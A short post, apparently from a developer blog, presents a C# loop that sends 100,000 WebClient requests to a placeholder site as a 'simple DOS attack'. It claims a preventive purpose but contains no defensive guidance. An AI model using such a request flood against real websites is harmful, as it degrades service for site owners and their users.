Make simple DOS attach with ASP.NET

I’ve describe how to make simple DOS attack with Asp.Net. My purpose of writing this thread isn’t to annoy web administrator. My point is how to prevent Dos attack and how to abort Dos attack for our website.

for( int i = 0; i < 100000; i ++ )
{
WebClient client = new WebClient();
client.DownloadString(“http://www.mysite.com”);
}